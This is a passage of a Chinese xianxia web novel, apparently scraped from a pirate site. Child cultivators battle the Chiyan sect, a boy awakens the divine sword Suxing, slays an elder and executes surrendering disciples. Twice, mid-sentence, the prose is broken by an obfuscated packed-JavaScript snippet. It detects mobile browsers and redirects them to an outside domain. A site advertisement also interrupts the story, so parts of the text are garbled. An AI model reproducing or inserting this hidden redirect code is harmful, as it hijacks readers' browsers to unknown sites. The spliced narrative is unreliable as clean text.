“两个不入流的散修也敢挡我赤霄宗的路?”刚才那名金丹初期弟子主动请缨“六师兄杀鸡焉用牛刀这两个砸碎就交给师弟我来料理!” 经过赵元昊首肯他立刻出手飞剑携着赤色火光狠辣无比地直刺墨妍与铁峰。 两人全力格挡但散修的**法宝如何能与大宗门弟子相比? 不 过三五招之间,便已险象环生,很快被对方刁钻的法术击破防御,闷哼一声,吐血倒飞出去,重重摔落在地,一时难以爬起。 那金丹弟子得意一笑,看也不看手下败将,身形一闪,直取江迷雾,大手一张,便欲强行夺取夙兴神剑! 他的动作快如闪电,眼中闪烁着贪婪与兴奋的光芒。 然而,就在他的手指即将触碰到夙兴剑的前一刹那—— 一只白皙小巧带着点婴儿肥的手,如同铁钳般,精准地攥住了他的手腕。 那金丹弟子猛地一愣,只觉得手腕处传来一股巨力。 但他心中正盘算着夺得神剑后能得到何等赏赐,全然没将眼前的小不点放在眼里。 他试图运功震开,却发现对方的手纹丝不动。 直到一股剧痛和无法抗拒的力量传来,他才骇然变色。 下一刻,萧星尘手腕一抖,看似随意地一甩,那金丹初期修为的赤炎宗弟子,竟完全无法控制自己的身体,身体划出一道狼狈的弧线,“砰”地一声巨响,结结实实地摔在了十几步开外,摔了个四仰八叉,尘土飞扬。 刹那间,整个场面诡异地安静了一瞬。 所有人都愣住了,包括赤炎宗的人。 一个炼气三层的小孩子,把一个金丹初期的修士,像扔垃圾一样随手丢出去了? 这怎么可能?! 短暂的死寂之后,赤炎宗阵营里爆发出难以置信的议论和几声压抑不住的嗤笑。 “王师弟,你怎么被一个炼气期的小崽子给摆倒了?” “王师兄你在跟我们开玩笑呢吧?你这玩笑开得也太大了,可一点都不好笑。” 那姓王的弟子在地上挣扎着爬起来,听得同门的嘲笑,顿时面红耳赤,羞愤交加,整张脸都扭曲了起来。 奇耻大辱! 这简直是奇耻大辱! “小杂种!我宰了你!” 他彻底失去了理智,嘶吼着,周身灵力疯狂涌动,赤色剑芒暴涨,带着滔天的怒火和杀意,不顾一切地朝着萧星尘猛扑过去。 第126章 今日,便以汝等之血,祭它重开之刃 那王姓弟子周身赤色灵力疯狂涌动,手中长剑爆发出灼热的火焰剑芒,如同一条发狂的火**,张牙舞爪地扑向萧星尘。 这裹挟着金丹初期全部怒意的杀招,势要将眼前这让他蒙受奇耻大辱的小鬼斩成两半。 萧星尘眼神平静得甚至有些漠然。 在那燃烧的剑尖即将触及他鼻尖的刹那—— 他的身体以一个微小、却又妙到毫厘的角度,轻轻一侧。 “嗤啦!” 炽热的剑刃几乎是贴着他的衣襟擦过,带起的劲风将他额前的碎发吹起,却连他的皮肤都未曾灼伤分毫。 王姓弟子全力一击落空,气得气血翻涌。 怎么可能? 对方不过是个炼气三层的小鬼,自己可是金丹初期的大能,居然被对方躲过了这致命一击? 他怒从心头起,刚要继续发力,却还不等变招,一只蕴含着恐怖力量的小手,猛地攥住了他持剑的手腕。 王姓弟子大惊失色,试图挣脱,却感觉自己的手腕像是被一座万丈山岳压住,根本无法动弹分毫。 他甚至能听到自己腕骨在那恐怖握力下发出的不堪重负的“咯咯”声。 萧星尘手腕猛地一发力,向内一折。 “咔嚓——” 腕骨碎裂声清脆响起,王姓弟子凄厉的惨叫撕破长空。 剧痛让他全身脱力,长剑脱手的瞬间,萧星尘手腕轻转,赤焰的长剑在空中划出一道诡异的弧线,剑尖调转—— “噗嗤!” 一声闷响,长剑刺穿了王姓弟子的心脏,染血的剑尖从后背透体而出。 王姓弟子瞪大双眼,难以置信地看着贯穿自己胸膛的长剑,他脸上的愤怒和痛苦转化为极致的惊愕和难以置信,瞳孔迅速放大,并逐渐涣散。 萧星尘松开了手。 王姓弟子的尸体软软地倒了下去,溅起一片尘土。 那双死不瞑目的眼睛,还残留着最后的茫然与骇然。 战场陷入死寂,赤炎宗众人的表情凝固在脸上,仿佛被施了定身咒。 炼气三层秒杀了金丹初期? 这颠覆认知的一幕,让他们的世界观轰然崩塌。 短暂的寂静后,愤怒的咆哮如火山喷发:“小畜生,竟 敢杀我师弟! “一起上,杀了他们,为王师弟报仇。 就在赤炎宗众人杀意沸腾之际,两道流光划破天际。 苏心瑶和林思思脚踏飞剑,从天而降。 苏心瑶一袭粉霞色长裙随风飘扬,落下来的第一件事就是俏皮的冲小家伙们眨眼:“别怕,姐姐们来保护你们啦! “瑶瑶姐姐!思思姐姐! 苏心瑶冲他们扬起一抹明媚的笑容。 随即,她转过身,面对赤炎宗众人,脸上的笑容瞬间收敛,取而代之的是一种属于天元宗大小姐的冷傲。 “这些孩子是我天元宗要护的人,赵元昊你若敢动他们一根汗**,便是与我天元宗为敌。 赵元昊眼神一凝,显然认出了苏心瑶,他冷笑道:“我当是谁,原来是天元宗的苏大小姐。怎么,你想凭一句话就保住他们? 苏心瑶毫不示弱,语气锐利,“你赤炎宗自从那几位化神长老折损后,还剩多少底蕴?当真要与我天元宗为敌?你们承受得起这个代价吗? 赵元昊脸色变得更加难看,苏心瑶的话戳中了他的痛处。 以前的赤炎宗,是下域仅次于青云剑宗的第二大宗门,除了青云剑宗,谁都不放在眼里。 可是,自从多位化神期大能无端陨落后,赤炎宗的战力就大打折扣。 如今的赤炎宗怕是要比不上天元宗的实力了。 但神剑就在眼前,他又怎么可能轻易放弃。 他眼中贪婪与杀意更盛,寒声冷笑:“呵呵呵—— 苏心瑶被他阴冷的目光看得全身发寒。 “你笑什么? “苏心瑶,如今的赤炎宗确实大不如前,不敢轻易与天元宗结怨,但只要把你们全都杀了,天元宗又怎么会知道是谁干的? 说话间,他脸上布满了杀意,“布阵,杀了他们,一个不留! 赤炎宗众人迅速结成“赤焰焚天阵。 刹那间,峡谷内烈焰冲天,十二道赤色光柱直冲云霄,汇聚成一片遮天蔽日的火海,炽热的气息几乎将空气都点燃。 苏心瑶大惊,万万没想到这赵元昊居然和楚凌风是一样的货色,都对她起了杀心。 她内心哭唧唧,感 叹自己命苦但是面上却柳眉倒竖。 她玉手一翻掌心出现一面古朴的铜镜。 铜镜表面流转着神秘的金色符文她将铜镜高举过头顶娇喝一声:“开!” 铜镜绽放出万丈金光 光盾与火海轰然相撞巨大的冲击气浪掀起漫天尘土方圆百丈的断剑都被震得嗡嗡作响。 然而“赤焰焚天阵”威力远超想象金色光盾表面不断出现裂纹。 随着一声脆响铜镜寸寸碎裂赤炎宗众人如潮水般冲杀过来。 全面混战瞬间爆发! 赤炎宗弟子火焰法术交织成网威力倍增。 而苏心瑶这边郁仙释放出枯荣之力变成银发银瞳的模样无数粗壮的藤蔓破土而出疯狂缠绕干扰敌人;萧星尘如虎入羊群拼命抵抗着赤炎宗弟子的攻击;鹿闻声火焰狂放范围轰炸;墨妍和铁峰也拼死奋战。 可即便如此他们也不敌赤炎宗的攻击。 对方尽是金丹修士还有元婴大能坐镇。 而他们修为最高的也不过是丹田还存在裂纹的金丹后期的苏心瑶。 在赤炎宗的全面攻势下孩子们即便用出了全力还是在节节败退浑身负伤。 被护的严严实实没有受到任何伤害的苏渺渺看到师兄师姐们全身染血的狼狈样子眼睛通红。 她一定要扭转战局。 苏渺渺小脸严肃双手结印口中念念有词言灵之力沟通此地无尽的死气与残魂:“沉睡的英灵听我呼唤醒来护卫……” 刹那间她周身地面裂开一只只由黑色死气凝聚而成的亡灵战士爬了出来它们咆哮着眼中跳跃着幽蓝的魂火组成浩浩荡荡的亡灵军团与赤炎宗的火焰大军激烈碰撞。 “杀——”一名金丹后期的赤炎宗修士怒吼与其他几名弟子合力凝聚出一柄巨大无比的火焰战刀狠狠劈入亡灵海中。 轰—— 火焰炸开大片的亡灵被瞬间汽化清出了一片巨大的真空地带。 恐怖的刀气余波甚至直接斩向后面的苏渺渺。 苏渺渺瞳孔骤然放大甚至忘记了躲闪。 “渺渺——” 江迷雾瞳孔一缩下意识举起手中的夙兴神剑格挡。 铛—— 一声巨响江迷雾只觉得一股无法抗拒的巨力传来虎口崩裂鲜血直流夙兴剑脱手飞出他整个人更是如遭重击喷出一口鲜血倒飞出去重重摔在地上。 “怎么会……”他挣扎着想起身眼中满是震惊和不解。 “明明……我已经领悟了无上剑意……为何……用不了它?” 夙兴可是神剑刚才他的全力一击居然没有发挥出夙兴的哪怕万分之一的实力。 不对! 冥冥中他感觉夙兴就是他的剑血肉相连可为何自己无法驱动其威能? 鹿闻声也大惊失色喃喃:“这是怎么回事?” 炎老的声音突然在鹿闻声脑海中响起:“不是他用不了是万剑本源虽修复了剑身却还未被彻底炼化神剑威能内敛现在能改变战局的只有它你必须立刻将其炼化。” 鹿闻声闻言猛地一咬牙逼退身前敌人冲到江迷雾身边捡起那柄黯淡的夙兴剑郑重道:“四师弟不是你用不了是神剑尚未炼化为我**这场胜负全靠你和夙兴剑了。” 说罢他再无犹豫直接原地拿出了炼器炉将夙兴剑投入其中。 掌心“嘭”地一声喷吐出炽热的烈焰将炼器炉团团包裹开始疯狂炼化。 然而就在他全力催动火焰的这一刻战场的形势急转直下! 失去江迷雾和鹿闻声两个重要战力苏心瑶和孩子们的压力陡增瞬间陷入绝境。 “保护二师弟和四师弟!”萧星尘嘶吼一声小小的身躯再次爆发出惊人的力量硬生生用身体撞开一名扑向炼器炉的金丹修士。 但那修士反手一道火鞭抽出狠狠抽在萧星尘的背上顿时皮开肉绽焦黑一片。 萧星尘闷哼一声踉跄一步却死死挡在炉前 另一边郁仙银发染血原本清冷的眸子此刻充满了疲惫。 她脚下的藤蔓不断被烈焰烧成灰烬又不断顽强地重新生出但速度已远远跟不上被 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苏渺渺的亡灵大军发出一声不甘的哀鸣,彻底溃散,她也软软地坐倒在地,连抬起手指的力气都没有了。 赤炎宗弟子们脸上带着残忍的狞笑,如潮水般围拢上来,各种燃烧着烈焰的法宝和术法已然举起,准备给予这最后的、无力的一击。 绝望,如同冰冷的潮水,淹没了每一个孩子。 就在这千钧一发之际—— “不够!火候还是不够!根本无法完成最后的淬炼!”鹿闻声看着炉中只是微微发红,却始终差那临门一脚的夙兴剑,心急如焚,眼角几乎要迸裂。 “用那个,你储物袋里的凤凰骨和羽毛。”炎老的声音急促地响起,“至刚至阳,涅槃之力,或可助它彻底复苏,完成最后的蜕变。” 鹿闻声眼睛猛地一亮,他都快忘了,当初他们吃了火凤凰后,他把凤凰骨和羽毛都收入了储物袋,原是打算以后炼制合适的神兵的,没想到这会儿会用到它。 他毫不犹豫地将凤凰骨和赤羽投入炉中。 轰——!!!! 炉火瞬间变成了璀璨的金红色,一股磅礴浩瀚的生机与涅槃之意轰然爆发,高昂清越的凤鸣声虚影直冲云霄,甚至短暂地压过了战场的喧嚣。 那 涅槃之火疯狂地涌入夙兴剑中,灵剑本源在凤凰真火的炼化下与夙兴神剑彻底融合。 赵元昊脸色一变,感到一股令他心悸的力量正在苏醒:“不好!快!杀了他们!” 无数攻击悍然落下! 然而—— “嗡——!!!” 一股前所未有的恐怖剑压,猛地从鹿闻声的炼器炉中爆发出来,如同沉睡了十万年的太古巨兽,骤然睁开了它的眼眸。 炉盖被冲天而起的璀璨金光直接掀飞,炸成碎片。 在所有人惊骇的目光中,一柄完好如初、剑身流淌着日月星辰般光辉、仿佛能斩断因果、破灭万法的神剑,自炉中缓缓升起。 它散发出令万物臣服的无上威严,整个战场都被这股可怕的剑意笼罩,所有火焰瞬间黯淡,所有声音仿佛都被吞噬。 赤炎宗弟子们的攻击僵在半空,脸上充满了难以置信的恐惧。 江迷雾看着这震撼的一幕,染血的唇瓣扬起一抹骄傲而疯狂的笑容。 他对着那柄与他心跳共鸣的神剑,用嘶哑却无比坚定的声音,发出了跨越十万年的召唤: “夙兴——” “铮——” 神剑有灵,发出一声洞彻九霄的惊天剑鸣。 下一刻,它化作一道割裂天地的璀璨流光,温顺而激动地落入江迷雾手中。 剑入手的那一刻,江迷雾周身萎靡的气息瞬间暴涨,冲天而起的剑意将他额前的碎发吹得狂舞,剑身流转的星辉将他稚嫩的脸庞映照得一片肃穆。 他目光如电,穿透众人,直指脸色大变的赵元昊,声音不高,却似蕴含着万古的沧桑与无上威严,清晰地响彻在每个人耳边: “此剑,名夙兴。” “沉寂十万载,锋芒未曾忘。” “今日,便以汝等之血,祭它重开之刃!” 第127章 吾以剑心御万剑,凡剑之所存,皆为我盾 像是在回应主人,震耳欲聋的剑鸣声在峡谷中回荡,磅礴的剑气如决堤洪流,将江迷雾的气势推向前所未有的巅峰。 冲霄而起的凌厉剑意,真实不虚,刺得人神魂生疼。 赵元昊脸上的狞笑僵住,取而代之的是一抹难以置信的惊骇。 “神剑……竟真的被唤醒了?!”他失声低吼,眼中贪婪与恐惧交织。 “但那又如何!一个黄口小儿,岂能真正驾驭神剑之威?给我**!” 恐惧最终化为歇斯底里的杀意。 赵元昊深知,必须趁对方还未完全熟悉神剑前,将其扼杀。 他双手猛地向天虚抓,周身元婴期的赤焰灵力毫无保留地爆发。 “焚天烬灭掌!” 轰隆! 天地间的火行灵气疯狂汇聚,在他头顶形成一只遮天蔽日的巨大火焰手掌。 掌纹清晰如沟壑,燃烧着暗红色的毁灭火焰,散发出的高温让空气扭曲,仿佛苍穹都要被这一掌焚毁。 巨掌裹挟着灭世之威,轰然拍下。 目标直指江迷雾,以及他身后所有无力再战的同伴。 萧星尘挣扎着想爬起,却再次呕出一口鲜血。 苏心瑶和林思思美眸中满是绝望。 郁仙银瞳黯淡,脚下的藤蔓彻底枯萎。 鹿闻声在炼化夙兴神剑时,便已灵力耗尽,只能眼睁睁看着。 苏渺渺小脸惨白,连哭泣的力气都没有。 墨妍和铁峰更是伤势惨重,无力再战。 面对这毁天灭地的一击,江迷雾握住夙兴剑,他足尖轻点,脚踏凝霜剑,化作一道流光直冲云霄,空气仿佛被剑气撕裂,在身后拖出百米剑痕。 他缓缓抬起夙兴剑,剑尖遥指那焚天巨掌,声音清澈而冰冷,却带着无上的威严:“萤火之光,也敢与皓月争辉?” “夙兴,随我——斩了它!” 没有花哨的动作,只是简简单单的一记上撩。 “嗡——” 夙兴剑发出一声愉悦的轻鸣,剑身流淌的星辉骤然爆发,化作一道横贯天地的璀璨剑罡。 那剑罡由无上剑意凝聚,蕴含着斩断万物、破灭万法的极致锋芒。 神剑初啼! 嗤—— 啦—— 那看似无可匹敌的焚天巨掌,在与剑罡接触的瞬间,如同热刀切牛油,被从中无声无息地剖开。 狂暴的火焰能量仿佛遇到了克星,瞬间溃散、湮灭,连一丝涟漪都未能掀起。 剑罡去势不减,直冲云霄,将漫天火云一分为二,露出了久违的蓝天。 “什么?!赵元昊瞳孔骤缩,骇得**一步,他全力施展的一击,竟被对方如此轻描淡写地破了? “不可能!你这是什么剑法? 江迷雾持剑而立,衣袂飘飞,周身环绕着淡淡的星辉,宛如剑神临凡。 “此非剑法,乃剑道。 他目光淡漠,“尔等蛮火,岂懂剑之极意? “狂妄!赵元昊暴怒,感觉受到了前所未有的羞辱,“不过是仗着神兵之利罢了。 此剑威力竟至如斯? 不过此子气息乃是金丹初期,定无法持久驾驭。 “本君便让你见识见识,元婴修士的真正底蕴。 “赤炎,开!他怒吼一声,身体皮肤变得赤红,无数火焰符文在体表浮现跳动,周身气息再次暴涨,几乎要冲破元婴初期期的壁垒。 他凝聚全身修为,并指如刀,劈出一道仅有丈许、却凝练到极致的暗红刀芒。 这刀芒所过之处,空间发出不堪重负的嘶鸣,威力比之前的焚天掌更胜数倍。 江迷雾眼神微凝,终于露出一丝认真。 他手腕翻转,夙兴剑划出一道玄奥轨迹,剑尖骤然亮起一点极致的寒芒,仿佛纳尽了世间所有的锋芒。 “破! 寒芒离剑而出,瞬间与暗红刀芒对撞。 轰—— 恐怖的**声响彻天地,红白两色光芒疯狂肆虐,冲击波呈环形骤然扩散。 峡谷两侧的山壁如同被无形巨刃削过,大片大片地坍塌崩碎。 地面被硬生生刮低三尺。 那些插在地上的无数残剑,在这股对撞的余波中纷纷哀鸣着,许多都化为了齑粉。 **中心,江迷雾身形剧烈一晃,而赵元昊则闷哼一声,嘴角溢出一丝鲜血,显然吃了个小亏。 “好!好一柄神剑!赵元昊抹去血迹,眼神更加疯狂,“本君倒要看看你这黄口小 儿还能催动几次! 他双手连挥,快速掐诀,各种强大的赤炎宗法术倾泻而出。 “流星火雨! “炎龙咆哮! “九幽离火咒! 一时间,天空被各种火焰法术覆盖,宛如末日降临。 江迷雾深吸一口气,夙兴剑在他手中仿佛活了过来。 他身随剑走,化作一道缥缈不定、却又快如闪电的星芒,在漫天火海中穿梭。 他的身法快到极致,仿佛同时出现在无数个地方。 每一次闪现,便有一道凌厉剑光点出,精准地刺向赵元昊法术最薄弱之处。 以点破面!见招拆招! 剑光与火雨碰撞,星芒与炎龙交错。 每一次交锋都爆发出震耳欲聋的轰鸣和刺眼的光芒。 峡谷地形被彻底改变,山峦被削平,大地布满深不见底的剑痕和焦黑的巨坑。 场面之惨烈,看得双方阵营的人目眩神驰,心惊肉跳。 赤炎宗弟子们脸上的狞笑早已消失,只剩下恐惧和茫然。 他们无法理解,一个年仅五六岁的小孩子,为何能催动神剑,为何能与一位元婴大能战到如此地步。 “雾、雾神……好厉害! 铁峰死死攥着拳头,双眼一瞬不瞬盯着天上江迷雾小小的身影,眼底尽是崇拜和敬服。 他就知道,他就知道孩子们每一个人都非池中物。 尘哥肉身强悍无比;仙姐银发银瞳妖异的仿若妖灵;渺渺小仙女言出法随,沟通亡灵;雾神仅凭金丹初期便让元婴初期的大能陷入苦战,简直令人匪夷所思。 至于鹿闻声,虽然还没有展现出多么惊天动地的才能,但就凭他小小年纪就能炼化神剑这一点,整个下域的炼器师见了都得跪地喊爷爷,称一声鹿爷也不为过。 能遇到他们,追随他们,纵死,也值了。 赵元昊越打越心惊,他发现自己无论使出何种法术,对方总能一剑破开。 那柄剑在他手中,仿佛拥有了生命,拥有了智慧。 赵元昊眼中闪过决绝和肉痛之色,眼中闪过一丝骇然。 不能再继续拖下去了,不然,连他都不一定能赢 。 必须快点杀了这个小杂种,此剑必须夺来。 只要得到它,什么天元宗,什么青云剑宗,整个下域都将匍匐在他脚下。 贪婪瞬间压倒了恐惧,赵元昊眼中燃起疯狂的火焰。 他猛地一拍胸口,喷出一口本命精血。 精血融入火焰,化作一枚诡异无比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453380|185272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的血色符文。 “以我精血,燃我神魂,禁术——血焰吞天!” 血色符文爆开,化作滔天血焰,其威力远超之前所有法术,甚至连空间都开始剧烈扭曲,浮现出道道细微的黑色裂缝。 血焰化作一只狰狞巨兽,扑向江迷雾,封锁了他所有退路。 江迷雾面色一肃,他能感受到这一击的可怕。 夙兴剑感受到主人的心意,发出高昂剑鸣,无尽星辉汇聚,准备施展更强的一击。 然而,就在这千钧一发之际—— “趁现在,杀了那几个失去战斗能力的废物。”一名赤炎宗金丹后期的修士眼中闪过阴毒,竟带着数名弟子,猛地扑向倒地不起的萧星尘等人。 他们算准了江迷雾被赵元昊禁术缠住,根本无法分身。 “卑鄙!”苏心瑶惊怒交加,想要阻拦,却一时间起不来。 郁仙强行催动枯荣之力,却只生出几根脆弱藤蔓,瞬间被焚毁。 萧星尘目眦欲裂,想要用身体去挡,却动弹不得。 死亡的阴影瞬间笼罩了他们。 江迷雾心神剧震,他若要全力对抗血焰巨兽,便无暇他顾。 可若回身救援,必将被赵元昊的禁术重创,甚至秒杀。 小说的域名caixs?(请来才 小说 看最新章节 完整章节) 就在这绝望一刻,江迷雾眼中闪过决然。 守护的信念压倒了一切。 “休想伤我同门!” 他不顾一切强行扭转剑势,夙兴神剑爆发出悲鸣般的剑啸,大部分星辉骤然回缩,化作一道坚实的星辰光幕护罩,瞬间挡在萧星尘等人身前。 轰——!!! 血焰巨兽狠狠撞在江迷雾的后背上。 即便有夙兴剑自动护主散发的微光抵消大部分威力,剩余的冲击力依旧可怕至极。 江迷雾如遭太古山岳撞击,猛地喷出一大口鲜血,鲜血中甚至夹杂着内脏碎片。 整个人向 前抛飞,重重落地,夙兴剑也脱手飞出,斜插在地,光芒瞬间黯淡下去。 “四师弟—— “四师兄—— “阿雾—— “雾神—— 大家发出撕心裂肺的喊叫。 而另一边,那几名赤炎宗弟子的攻击也狠狠撞在了星辰光幕上,光幕剧烈摇晃,却并未立刻破碎。 “哼!**之末,看你能撑多久。 光幕上开始出现裂纹。 江迷雾艰难地抬起头,看着那些疯狂攻击光幕的赤炎宗人,看着师兄师姐师妹们绝望却依旧信任他的目光,看着散落一地的、那些早已失去灵蕴本源的残剑…… 一股无比强烈的守护意念、不甘的愤怒、以及对于剑的极致理解,在他心中轰然爆发。 “剑……他染血的手猛地插入大地,嘶声呐喊,那呐喊仿佛沟通了天地,蕴含着他所有的信念与意志。 “吾以剑心御万剑,凡剑之所存,皆为我盾!万剑——朝宗! 嗡!嗡!嗡!嗡! 整个葬魂峡谷剧烈地震动起来。 那些散落在地、遍布峡谷、早已沉寂了无数岁月、被认为已是废铁的残剑断刃,此刻仿佛被无形的线牵引,发出了微弱却坚定的嗡鸣。 下一刻,在所有人难以置信的目光中,成千上万的残剑破土而出,化作一道道钢铁洪流,前赴后继地汇聚到萧星尘等人周围,层层叠叠,瞬间凝结成一座巨大无比、寒光闪闪的剑之壁垒。 第128章 夙兴,随我,开天辟地 叮叮叮—— 赤炎宗弟子们的攻击尽数落在剑盾之上,爆发出密集的火星。 无数残剑在攻击中崩碎、化为齑粉,但立刻有更多的残剑填补上来。 它们用自己最后的残躯,履行着身为剑的最终职责——守护! “这……这是什么?”攻击的赤炎宗弟子骇得停下了手,看着这匪夷所思的一幕。 萧星尘看着身边不断震颤、不断破碎却又不断凝聚的剑之壁垒,看着那些明知是死却依旧义无反顾扑向敌人攻击的残剑,热泪瞬间涌出。 鹿闻声体内近乎干涸的灵力竟再次沸腾。 郁仙银瞳中泪光闪烁,脚下的枯萎藤蔓奇迹般再生。 苏渺渺擦去眼泪,小脸上充满了坚定的光芒。 苏心瑶、林思思、墨妍、铁峰,所有人都被这悲壮而神圣的一幕点燃了最后的斗志。 “连死去的剑都在保护我们……我们还有什么理由放弃!”墨妍怒吼着,不顾伤势再次催发灵力。 “杀了这群混蛋!”铁峰拄着斧头,挣扎着站起来。 萧星尘用尽最后力气嘶吼,“四师弟在用生命为我们争取时间,我们不能辜负他,更不能辜负这些剑,随我——杀!” “杀!!!” 原本重伤垂死的孩子们,不知从何处涌出了力量,纷纷挣扎起身,燃烧最后的生命潜能,向着惊愕的赤炎宗弟子们发出了决死的反冲击。 战场局势,瞬间逆转。 赵元昊看着这突如其来的一幕,气得几乎吐血:“废物!一群废物!” 而此刻,江迷雾摇摇晃晃地站了起来。 他背后一片焦黑,嘴角不断溢血,但他的眼神却亮得吓人,仿佛有两团火焰在燃烧。 夙兴剑感受到主人的战意,发出一声惊天动地的剑鸣,自动飞回他的手中。 这一次,剑身的光芒不再仅仅是星辉,更夹杂着无数残剑的悲鸣与战意。 “赵元昊。”江迷雾的声音平静却蕴含着最终的审判,“今日,就是你的死期。” 赵元昊看着气势不降反升的江迷雾,心中第一次产生了真正的恐惧。 “怪物……你就是个怪物!”他尖叫着,将禁术残余的所有血焰之力汇聚于双手,化作一颗极度压 缩、散发着毁灭气息的暗红能量球 能量球呼啸而出。 江迷雾深吸一口气双手缓缓举起夙兴剑。 整个葬魂峡谷的剑意那些破碎的、消散的、仍在战斗的仿佛都汇聚于此剑之上。 他眼中再无外物只有剑只有前方之敌。 “夙兴”他轻声道“随我开天辟地。” 江迷雾咆哮着倾尽一切挥剑斩下! 只见一道极致凝练的剑痕随着剑锋的落下出现在空中。 那剑痕所过之处那毁灭性的血焰能量球竟是直接抹除无声无息地消失不见。 仿佛天地初开的那一道光分开了清浊断开了因果。 剑痕不停继续向前。 赵元昊脸上的恐惧和疯狂瞬间凝固。 他下意识地想逃却发现周围的空间已被彻底锁定。 他想防御却发现所有的灵力在那道剑痕面前都失去了意义。 “不……不可能……我赤炎……”他最后的遗言还未说完剑痕掠过他的身体掠过他身后的峡谷掠向遥远的天际。 时间仿佛静止了一秒。 下一刻。 赵元昊的身体从中轴线开始缓缓错开切口光滑如镜。 没有鲜血流出因为所有的生机都在瞬间被那绝对的剑意湮灭。 他的肉身寸寸崩解连元婴都未能逃出彻底消散于天地之间。 在他身后一道长达千丈、深不见底的巨大峡谷裂缝以江迷雾脚下为起点向前蔓延开去直至视线的尽头。 仿佛整个大地都被这一剑劈开。 一剑之威改变地形! 整个战场死寂无声。 所有还活着的赤炎宗弟子都如同被掐住了脖子的鸭子僵在原地脸上的狞笑化为无尽的恐惧和绝望。 他们呆呆地看着那道蔓延向远方的巨大地裂又看看那个手持神剑、脸色苍白却屹立不倒的小小少年身影。 他们的元婴师兄……**? 被一个孩子……一剑秒杀? 噗通! 不知是谁先跪了下来紧接着所有赤炎宗弟子全都崩溃地跪倒在地磕头如捣蒜。 “ 饶命!剑神饶命啊!” “我们错了!我们再也不敢了!” “都是赵元昊逼我们的!求您饶我们一条狗命吧!” 江迷雾冷漠的看着他们卑微乞怜的可笑嘴脸 “我饶过你们?你们何曾放过我们?” 话落他一剑挥出。 赤炎宗的所有人瞬间身首异处。 阳光透过被斩开的云层照射在江迷雾身上。 他拄着剑剧烈地喘息着身体摇摇欲坠。 残躯连续驱使夙兴剑几乎抽干了他。 他赢了。 以剑之名以守护之志赢得了这场几乎毫无胜算的对决。 江迷雾紧绷的神经终于放松下来成倍的疲惫席卷全身他身体一软向后倒去。 在他意识陷入黑暗前最后看到的 灼热的空气渐渐冷却焦土与血腥交织的气息在风中翻涌。 阳光挣扎着穿透尚未散尽的烟尘照亮了这片满目疮痍的大地。 那道深不见底的剑痕峡谷、大片融化后又凝结成琉璃状的地面、以及四处散落的如同沙砾般的残剑粉末……这一切都在无声地诉说着方才那场战斗的惨烈。 江迷雾躺在冰冷的土地上小脸苍白如纸呼吸微弱那双曾爆发出令元婴修士都惊骇的锐利眼睛紧闭着唯有小手仍死死地握着夙兴神剑。 “四师兄……”苏渺渺带着浓重的哭腔手忙脚乱地翻找着自己的储物袋却连最普通的疗伤丹都找不到一粒急得眼圈通红。 其他人的情况也是如此他们的丹药早在幽影森林那场艰苦的兽潮中消耗殆尽了。 几乎所有人的目光都下意识地投向了唯一会炼丹的郁仙。 此刻的郁仙那头璀璨的银发和神秘银瞳已尽数褪去变回了如墨的黑发与琥珀色的瞳孔。 黑发被汗水与尘土黏在脸颊上更衬得她脸色惨白不见一丝血色。 她尝试着想站起来去为江迷雾炼制丹药但全身软得如同棉花连抬起一根手指都异常艰难体内的枯荣之力彻底枯竭反噬带来的虚弱感几乎将她淹没。 她看着昏迷的江迷雾眼中充满了无力与焦灼自己的状态比他也好不了多少 。 “三师妹,别急。”萧星尘的声音嘶哑却沉稳。 他用一截断裂的残剑支撑着身体,强迫自己站起来,每动一下,背上那深可见骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453381|185272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的伤口就带来一阵撕裂般的剧痛,但他眼神依旧锐利如鹰,扫视着战场,“赤炎宗的人身上,或许有丹药。” 墨妍和铁峰同样伤痕累累,闻言死死咬住牙关,压下身体的剧痛和脱力感,和萧星尘一起开始仔细地翻查那些赤炎宗修士的尸体。 这是散修在无数次生死边缘挣扎中养成的本能——想要活下去,就必须利用眼前一切可利用的资源,绝不能放过任何一丝希望。 苏心瑶倚着林思思,俏脸上满是震惊与恍惚。 她望着满地狼藉,又看向那群虽伤痕累累却眼神坚毅的孩子,扫过那道劈开大地、宛若神迹的巨大剑痕峡谷,扫过那片为了保护他们而毅然赴死、最终化为遍地银粉的万剑残骸,最后,定格在昏迷不醒的幼小身影上。 震撼、难以置信、以及一丝后知后觉的、冰彻骨髓的恐惧,如同滔天巨浪,一波接一波地冲击着她的认知和心灵。 她是天元宗捧在手心的骄纵大小姐。 父亲和宗门将她保护得太好,以至于她虽知修真界险恶,却从未如此真切地、血淋淋地亲身经历过这等惨烈的大战。 直到此刻,她才深刻地明白了云见月为何执意要将这些年幼的孩子放出宗门历练。 温室里的花朵,永远无法真正理解风雨的酷烈。 一直将他们困守于宗门的羽翼之下,或许能护得一时的安稳,却终究护不了一世。 这个世界本质就是弱肉强食,残酷而真实。 过早地让他们接触这份残酷,并非残忍,而是一种更深沉的负责。 唯有见识过黑暗,才会真正渴望并努力追逐光明;唯有经历过生死,才能磨砺出真正能斩破一切荆棘的锋芒。 他们是一群身负绝世天赋的璞玉,注定要闪耀于天地之间,那就更需要早早学会如何在血与火中淬炼自己,方能真正成长为撼动天下的参天巨擘。 江迷雾最后那宛若剑神临凡、一剑开天、斩灭元婴的绝世身影,已深深地烙印在她的灵魂深处。 